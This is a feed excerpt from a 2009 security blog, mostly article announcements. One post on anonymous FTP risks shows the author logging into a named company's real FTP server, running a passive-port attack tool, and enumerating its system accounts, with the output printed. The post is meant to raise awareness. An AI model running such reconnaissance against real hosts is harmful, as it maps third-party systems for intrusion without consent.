/&gt;&lt;br /&gt;HTTP/1.1 301 Moved Permanently&lt;br /&gt;Date: Wed, 25 Nov 2009 02:42:40 GMT&lt;br /&gt;Location: http://www.yahoo.com/&lt;br /&gt;Cache-Control: private&lt;br /&gt;Connection: close&lt;br /&gt;Transfer-Encoding: chunked&lt;br /&gt;Content-Type: text/html; charset=utf-8&lt;br /&gt;&lt;br /&gt;95 The document has moved &lt;A HREF="http://www.yahoo.com/"&gt;here&lt;/A&gt;.&lt;br /&gt;&lt;!-- f10.www.sp1.yahoo.com uncompressed/chunked Tue Nov 24 18:42:40 PST 2009 --&gt;0&lt;br /&gt;&lt;br /&gt;==================[DEBUG]======================&lt;br /&gt;&lt;br /&gt;[+] execution success.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;The script posed the appropriate results looking at the two different domains. But one thing is sure that Google is not at all in coherence with Microsoft steps.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-5838668091262546410?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/5838668091262546410/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=5838668091262546410' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/5838668091262546410'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/5838668091262546410'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2009/11/http-x-protection-headers-microsoft.html' title='HTTP X Protection Headers - Microsoft Google Stringency'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-5716913313685849389</id><published>2009-09-28T09:25:00.000-07:00</published><updated>2009-09-28T09:30:09.349-07:00</updated><title type='text'>Hakin9 - Extended Edition (Best Of) Featured Papers</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_2r2SQhqglf4/SsDjy7SKZ0I/AAAAAAAAAoQ/GF-wE0VQSUg/s1600-h/hak_main.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 114px; height: 162px;" src="http://4.bp.blogspot.com/_2r2SQhqglf4/SsDjy7SKZ0I/AAAAAAAAAoQ/GF-wE0VQSUg/s320/hak_main.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5386555618381948738" /&gt;&lt;/a&gt; Hakin9 has released an extended edition which features the some of the best articles that are chosen by the readers and the team itself. Two articles have been placed in it:&lt;br /&gt;&lt;br /&gt;1. Auditing Oracle in Production Environment&lt;br /&gt;2. Reverse Engineering Binaries&lt;br /&gt;&lt;br /&gt;You can look some of the papers at:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://hakin9.org/magazine/article"&gt;http://hakin9.org/magazine/article&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Enjoy !&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-5716913313685849389?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/5716913313685849389/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=5716913313685849389' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/5716913313685849389'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/5716913313685849389'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2009/09/hakin9-extended-edition-best-of.html' title='Hakin9 - Extended Edition (Best Of) Featured Papers'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_2r2SQhqglf4/SsDjy7SKZ0I/AAAAAAAAAoQ/GF-wE0VQSUg/s72-c/hak_main.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-6024463116498778355</id><published>2009-09-19T10:41:00.000-07:00</published><updated>2009-09-19T10:46:41.061-07:00</updated><title type='text'>Infosecurity Article : "Ethical Hacking in Business World"</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_2r2SQhqglf4/SrUYJDhyitI/AAAAAAAAAoI/nfBxicPGjLA/s1600-h/infosec.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 200px; height: 53px;" src="http://2.bp.blogspot.com/_2r2SQhqglf4/SrUYJDhyitI/AAAAAAAAAoI/nfBxicPGjLA/s320/infosec.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5383235473436216018" /&gt;&lt;/a&gt; InfoSecurity has published a new article on the on going industry trends of ethical hacking and its differential behavior in business world.&lt;br /&gt;&lt;br /&gt;This article reflects a thoughtful process of ongoing security practices and business dependency considering the feasibility of core technology. The security jargon is stemming up with a high pace compromising all the barriers. The business sphere is getting increasingly dependent on the automation processes. All the monetary transactions and high end functionality is based on computers. But the positive side is always accompanied with the negative side too.&lt;br /&gt;&lt;br /&gt;For more visit &lt;br&gt;&lt;br&gt;&lt;a href="http://fanaticmedia.com/infosecurity/archive/Sep09/Ethical%20Hacking.htm"&gt;http://fanaticmedia.com/infosecurity/archive/Sep09/Ethical%20Hacking.htm&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-6024463116498778355?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/6024463116498778355/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=6024463116498778355' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/6024463116498778355'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/6024463116498778355'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2009/09/infosecurity-article-ethical-hacking-in.html' title='Infosecurity Article : &quot;Ethical Hacking in Business World&quot;'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_2r2SQhqglf4/SrUYJDhyitI/AAAAAAAAAoI/nfBxicPGjLA/s72-c/infosec.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-7415753004636569590</id><published>2009-08-06T11:07:00.000-07:00</published><updated>2009-12-19T09:52:26.312-08:00</updated><title type='text'>FTP Anonymous Services - User Enumeration and Reconnaisance</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_2r2SQhqglf4/SnsrPzzMU-I/AAAAAAAAAnQ/rrWbiKW-jG4/s1600-h/RiskSharpEdgesSign.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 189px; height: 83px;" src="http://1.bp.blogspot.com/_2r2SQhqglf4/SnsrPzzMU-I/AAAAAAAAAnQ/rrWbiKW-jG4/s320/RiskSharpEdgesSign.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5366930931545035746" /&gt;&lt;/a&gt;&lt;br /&gt;The security is termed to be as a closed asset for any organization. It has been noticed in recent times that many of the business vendor allows certain anonymous access to the services running on their server. The concern of this post is not restricted to one part but looking at the diversified impact. Apparently the issue seems small but the resultant impact is high. Anything with a default or anonymous access is potentially critical. For example:- the most common issue is FTP open access. Many of the organizations allow anonymous access without understanding the consequences that may hamper the normal functioning.&lt;br /&gt;&lt;br /&gt;There are certain facts:&lt;br /&gt;&lt;br /&gt;1. A vendor has to restrict the open services.&lt;br /&gt;2. A vendor has to provide a standard access to the clients even for the simple download. Now days, it is not considered as an appropriate solution for providing open access to services. Even for the business perspective restricted access should be taken into consideration. Why open FTP? Why not a credential based access?&lt;br /&gt;3. If the services has to be given then scrutinize the deployment strategy whether it has to be applied at internet or intranet.&lt;br /&gt;4. Why not to put these services on VPN considering the business need. &lt;br /&gt;5. The configuration against these deployed services. Why not to use the organization specific policy based password for FTP access. Why anonymous?&lt;br /&gt;6. Open services are tactically exploited to gain information and reconnaissance.&lt;br /&gt;7. These can be used to scan third party targets too.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Question: Is Security a Prime Target or Business?&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Answer: Individualistic and Organizational Decision. Diversified impacts.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Let's consider a case and a risk emanating from it. For example - an organization is providing an open access to FTP services. We will be considering specific functions from security point of view:&lt;br /&gt;&lt;br /&gt;1. Passive Mode &lt;br /&gt;2. Glob() Global  &lt;br /&gt;&lt;br /&gt;"Most FTP daemon implementations provide server-side globbing functionality that performs pattern expansion on these pathnames.  The actual glob() implementation is often located in the FTP daemon itself,though some FTP servers use an underlying libc implementation."&lt;br /&gt;&lt;br /&gt;"glob - Toggle file name globbing. When file name globbing is enabled, ftp expands csh(1) metacharacters in file and directory names. These characters are *, ?, [, ], ~, {, and }. The server host expands remote file and directory names. Globbing metacharacters are always expanded for the ls and dir commands. If globbing is enabled, metacharacters are also expanded for the multiple-file commands mdelete, mdir, mget, mls, and mput."&lt;br /&gt;&lt;br /&gt;If an FTP server provides anonymous access with a passive mode on are more vulnerable&lt;br /&gt;to&lt;a href="http://www.ouah.org/ftpbounce.html"&gt;&lt;b&gt;FTP Bounce Attacks&lt;/b&gt;&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Glob() function can be tested against number of buffer overflow issues. The ability of a remote or local user to deliver input patterns to glob() implementations allows&lt;br /&gt;risk of exploitation once the vulnerability is exploited.&lt;br /&gt;&lt;br /&gt;Let;s have a look at the real world scenario : Analysis of &lt;b&gt;uptime software&lt;/b&gt;. A complete thought oriented and for knowledge purposes. &lt;br /&gt;&lt;br /&gt;Administrator@TopGun ~&lt;br /&gt;$ ftp uptimesoftware.com&lt;br /&gt;Connected to uptimesoftware.com.&lt;br /&gt;220 uptime software FTP services&lt;br /&gt;Name (uptimesoftware.com:Administrator): anonymous&lt;br /&gt;331 Please specify the password.&lt;br /&gt;Password:&lt;br /&gt;230 Login successful.&lt;br /&gt;Remote system type is UNIX.&lt;br /&gt;Using binary mode to transfer files.&lt;br /&gt;ftp&gt; passive&lt;br /&gt;Passive mode on.&lt;br /&gt;ftp&gt; debug&lt;br /&gt;Debugging on (debug=1).&lt;br /&gt;ftp&gt; glob&lt;br /&gt;Globbing off.&lt;br /&gt;ftp&gt; glob on&lt;br /&gt;Globbing on.&lt;br /&gt;&lt;br /&gt;ftp&gt; dir&lt;br /&gt;---&gt; PASV&lt;br /&gt;227 Entering Passive Mode (216,220,63,213,73,192)&lt;br /&gt;---&gt; LIST&lt;br /&gt;150 Here comes the directory listing.&lt;br /&gt;-rw-rw-r--    1 501      501        148181 Feb 07  2008 BMO and uptime software.pdf&lt;br /&gt;drwxrwxr-x    2 501      501          4096 Jun 23 19:08 CVS&lt;br /&gt;lrwxrwxrwx    1 501      501            33 Dec 02  2008 ReleaseNotes_up.time5.pdf -&gt; ../pdfs/ReleaseNotes_up.time5.p&lt;br /&gt;df&lt;br /&gt;lrwxrwxrwx    1 501      501            37 Dec 02  2008 ReleaseNotes_up.time5_SP1.pdf -&gt; ../pdfs/ReleaseNotes_up.tim&lt;br /&gt;&lt;br /&gt;So its easy to look at the rights configured for different user groups.&lt;br /&gt;&lt;br /&gt;Administrator@TopGun /cygdrive/c/scripts&lt;br /&gt;$ perl pasvagg.pl uptimesoftware.com&lt;br /&gt;:: connected to uptimesoftware.com&lt;br /&gt;&gt;&gt; 220 uptime software FTP services&lt;br /&gt;:: logging into server as anonymous.&lt;br /&gt;&gt;&gt; 331 Please specify the password.&lt;br /&gt;&gt;&gt; 230 Login successful.&lt;br /&gt;&gt;&gt; 227 Entering Passive Mode (216,220,63,213,89,62)&lt;br /&gt;:: server ready for passive attack&lt;br /&gt;:: sampling passive port selection&lt;br /&gt;:: passive connection rate = 6259.7/sec&lt;br /&gt;:: passive command latency = 0.4 seconds&lt;br /&gt;:: starting the reaper engine&lt;br /&gt;&lt;br /&gt;:: starting port 17200 &lt;br /&gt;&lt;br /&gt;Based on one of my designed script , lets analyze the reaped information&lt;br /&gt;Administrator@TopGun /cygdrive/c/my_tools&lt;br /&gt;$ perl ftp_user_reconnaisance.pl uptimesoftware.com&lt;br /&gt;ftp_user_reconnaisance.pl - ftp based system user reconnaisance&lt;br /&gt;written by- 0kn0ck [at] secniche.org&lt;br /&gt;&lt;br /&gt;(*) resolving the generic address for domain: uptimesoftware.com&lt;br /&gt;(!) 216.220.63.213&lt;br /&gt;&lt;br /&gt;(*) detecting nameservers for the domain : uptimesoftware.com&lt;br /&gt;(!) ns4-auth.q9.com&lt;br /&gt;(!) ns1-auth.q9.com&lt;br /&gt;(!) ns3-auth.q9.com&lt;br /&gt;(!) ns2-auth.q9.com&lt;br /&gt;&lt;br /&gt;(*) trying anonymous access on - uptimesoftware.com&lt;br /&gt;(*) anonymous access allowed - uptimesoftware.com&lt;br /&gt;(*) uptimesoftware.com does not support TLS&lt;br /&gt;&lt;br /&gt;(*) trying to enumerate the configured system accounts on - uptimesoftware.com&lt;br /&gt;&lt;br /&gt;[conn str - 0]  - [temp] is not a standard system configured user&lt;br /&gt;[conn str - 1]  - [root] is a standard system configured user&lt;br /&gt;[conn str - 2]  - [bin] is a standard system configured user&lt;br /&gt;[conn str - 3]  - [daemon] is a standard system configured user&lt;br /&gt;[conn str - 4]  - [adm] is a standard system configured user&lt;br /&gt;[conn str - 5]  - [lp] is a standard system configured user&lt;br /&gt;[conn str - 6]  - [sync] is a standard system configured user&lt;br /&gt;[conn str - 7]  - [shutdown] is a standard system configured user&lt;br /&gt;[conn str - 8]  - [halt] is a standard system configured user&lt;br /&gt;[conn str - 9]  - [mail] is a standard system configured user&lt;br /&gt;[conn str - 10]  - [news] is a standard system configured user&lt;br /&gt;[conn str - 11]  - [uucp] is a standard system configured user&lt;br /&gt;[conn str - 12]  - [operator] is a standard system configured user&lt;br /&gt;[conn str - 13]  - [games] is a standard system configured user&lt;br /&gt;[conn str - 14]  - [gopher] is not a standard system configured user&lt;br /&gt;[conn str - 16]  - [apache] is not a standard system configured user&lt;br /&gt;[conn str - 17]  - [named] is not a standard system configured user&lt;br /&gt;[conn str - 18]  - [amanda] is not a standard system configured user&lt;br /&gt;[conn str - 19]  - [indent] is not a standard system configured user&lt;br /&gt;[conn str - 20]  - [rpc] is not a standard system configured user&lt;br /&gt;[conn str - 21]  - [wnn] is not a standard system configured user&lt;br /&gt;[conn str - 22]  - [xfs] is not a standard system configured user&lt;br /&gt;[conn str - 23]  - [pvm] is not a standard system configured user&lt;br /&gt;[conn str - 24]  - [ldap] is not a standard system configured user&lt;br /&gt;[conn str - 25]  - [mysql] is not a standard system configured user&lt;br /&gt;[conn str - 26]  - [rpcuser] is not a standard system configured user&lt;br /&gt;[conn str - 27]  - [nsf] is not a standard system configured user&lt;br /&gt;[conn str - 28]  - [nobody] is a standard system configured user&lt;br /&gt;[conn str - 29]  - [junkbust] is not a standard system configured user&lt;br /&gt;[conn str - 30]  - [gdm] is not a standard system configured user&lt;br /&gt;[conn str - 31]  - [squid] is not a standard system configured user&lt;br /&gt;[conn str - 32]  - [nscd] is not a standard system configured user&lt;br /&gt;[conn str - 33]  - [rpm] is not a standard system configured user&lt;br /&gt;[conn str - 34]  - [mailman] is not a standard system configured user&lt;br /&gt;[conn str - 35]  - [radvd] is not a standard system configured user&lt;br /&gt;(*) command completed successfully&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The only point in presenting these facts with an example is to show the risks posed&lt;br /&gt;and the impact on security.&lt;br /&gt;&lt;br /&gt;At last : &lt;b&gt;Why not a mature business with hardened security?&lt;/b&gt;&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-7415753004636569590?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/7415753004636569590/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=7415753004636569590' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/7415753004636569590'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/7415753004636569590'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2009/08/vendor-firms-and-anonymous-services.html' title='FTP Anonymous Services - User Enumeration and Reconnaisance'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_2r2SQhqglf4/SnsrPzzMU-I/AAAAAAAAAnQ/rrWbiKW-jG4/s72-c/RiskSharpEdgesSign.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-1484085123284880750</id><published>2009-08-06T10:56:00.000-07:00</published><updated>2009-08-06T11:06:32.522-07:00</updated><title type='text'>Elsevier - CFSJournal - Breaches in Security Vendor Websites</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_2r2SQhqglf4/SnsbS_p96WI/AAAAAAAAAnI/IGgvNQ_VYL8/s1600-h/elsevier.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 85px; height: 88px;" src="http://2.bp.blogspot.com/_2r2SQhqglf4/SnsbS_p96WI/AAAAAAAAAnI/IGgvNQ_VYL8/s320/elsevier.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5366913394081130850" /&gt;&lt;/a&gt;&lt;br /&gt;A new article on "Security breaches in vendor websites"  have been released in Elsevier's Computer Fraud and Security Journal.&lt;br /&gt;&lt;br /&gt;The security business model revolves around security entities and those security service providers that ensure implementation of secured mechanisms in every aspect of deployment. But how mature are those businesses' own security models? We will evaluate various instances of breaches in security companies and how they occur. The world has seen a number of cases like Kaspersky, F-Secure, a reseller for BitDefender, and so on. There are a number of cases that have not been released publicly. Why is this happening, and what is the root cause? More ........&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6VNT-4WW268D-B&amp;_user=10&amp;_coverDate=07%2F31%2F2009&amp;_alid=973897573&amp;_rdoc=4&amp;_fmt=high&amp;_orig=search&amp;_cdi=6187&amp;_sort=r&amp;_docanchor=&amp;view=c&amp;_ct=5&amp;_acct=C000050221&amp;_version=1&amp;_urlVersion=0&amp;_userid=10&amp;md5=edfc955a27aa35b65c29bcc62261bf97"&gt;&lt;b&gt;LINK&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Regards&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-1484085123284880750?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/1484085123284880750/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=1484085123284880750' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/1484085123284880750'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/1484085123284880750'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2009/08/elsevier-cfsjournal-breaches-in.html' title='Elsevier - CFSJournal - Breaches in Security Vendor Websites'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_2r2SQhqglf4/SnsbS_p96WI/AAAAAAAAAnI/IGgvNQ_VYL8/s72-c/elsevier.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-6672030250369465965</id><published>2009-07-17T23:58:00.000-07:00</published><updated>2009-07-18T00:02:25.899-07:00</updated><title type='text'>Hakin9 Edition - Article and Self Exposure Interview</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_2r2SQhqglf4/SmFy0cPYkDI/AAAAAAAAAlI/xljhwEELwmU/s1600-h/hakin409.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 91px; height: 129px;" src="http://1.bp.blogspot.com/_2r2SQhqglf4/SmFy0cPYkDI/AAAAAAAAAlI/xljhwEELwmU/s320/hakin409.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5359691276807082034" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Hakin9 has published an article on "Hacking through Wild Cards"  This paper sheds light on the usage of wild characters that lead to hacking. The wild characters are used effectively in a different sphere. The inappropriate use of wild characters can lead to misconfiguration of parameters thereby resulting in a number of attacks.&lt;br /&gt;&lt;br /&gt;In addition to that , An interview has been published in prime "Self Exposure" section.&lt;br /&gt;&lt;br /&gt;you can look into the issue at:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://hakin9.org/prt/view/about-the-mag/issue/1052.html"&gt;http://hakin9.org/prt/view/about-the-mag/issue/1052.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Regards&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-6672030250369465965?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/6672030250369465965/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=6672030250369465965' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/6672030250369465965'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/6672030250369465965'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2009/07/hakin9-edition-article-and-self.html' title='Hakin9 Edition - Article and Self Exposure Interview'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_2r2SQhqglf4/SmFy0cPYkDI/AAAAAAAAAlI/xljhwEELwmU/s72-c/hakin409.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-3514574801498259609</id><published>2009-07-17T23:25:00.000-07:00</published><updated>2009-07-17T23:53:32.168-07:00</updated><title type='text'>SyScan 09 Conference - Wrap Up</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_2r2SQhqglf4/SmFv7KVmj5I/AAAAAAAAAlA/q64mGesrP2Q/s1600-h/images.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 144px; height: 46px;" src="http://2.bp.blogspot.com/_2r2SQhqglf4/SmFv7KVmj5I/AAAAAAAAAlA/q64mGesrP2Q/s320/images.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5359688093725527954" /&gt;&lt;/a&gt;&lt;br /&gt;SyScan is Asia's one of the prime conference. This year conference has a great set of talks by most good guys in security field. We organized an ICANPWN contest at SyScan this year. There were lot of good content and new discoveries by researchers. Usually we noticed a indispensable research on virtualization. Outspect tool for live memory analysis of virtual machines from host OS. Outbound. Mr. Quynh has created this tool.&lt;br /&gt;In relation to that there was lot of good stuff on PHP,JAVA , CITRIX, BIOS etc. Overall the conference comes out with a great knowledge , thats what it is aim for.&lt;br /&gt;&lt;br /&gt;The CTF stuff was cool and organized by White Wolf Security.Thanks to Thomas for organizing such a conference.&lt;br /&gt;&lt;br /&gt;If you miss the fun , you can watch some stuff here:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://picasaweb.google.com/Adi.ZeroK/SyScan09SecurityConference#"&gt;PICS&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Regards&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-3514574801498259609?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/3514574801498259609/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=3514574801498259609' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/3514574801498259609'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/3514574801498259609'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2009/07/syscan-09-conference-wrap-up.html' title='SyScan 09 Conference - Wrap Up'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_2r2SQhqglf4/SmFv7KVmj5I/AAAAAAAAAlA/q64mGesrP2Q/s72-c/images.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-3659645802717641222</id><published>2009-06-11T06:23:00.000-07:00</published><updated>2009-06-11T06:36:14.590-07:00</updated><title type='text'>Elsevier - Is Your System Pwned</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_2r2SQhqglf4/SjEFnTffPnI/AAAAAAAAAfc/7rhMgEqt4ZE/s1600-h/els.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 68px; height: 97px;" src="http://4.bp.blogspot.com/_2r2SQhqglf4/SjEFnTffPnI/AAAAAAAAAfc/7rhMgEqt4ZE/s320/els.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5346060405470871154" /&gt;&lt;/a&gt; Elsevier has released a new article as "Is your system pwned". &lt;br /&gt;&lt;br /&gt;Article Overview:&lt;br /&gt;"What is the relationship between humans, technology, and fraud? They are all linked together in a triangle. Most monetary transactions today are carried out using digital technologies, most frauds are monetary, and all frauds are perpetuated by people. As fraud prevention experts, we try to break the triangle – to ensure that people don’t interact with technology to create fraudulent situations."&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.elsevierscitech.com/nl/ns/home.asp"&gt;Link to Journal&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Regards&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-3659645802717641222?l=zeroknock.blogspot.com' alt='' 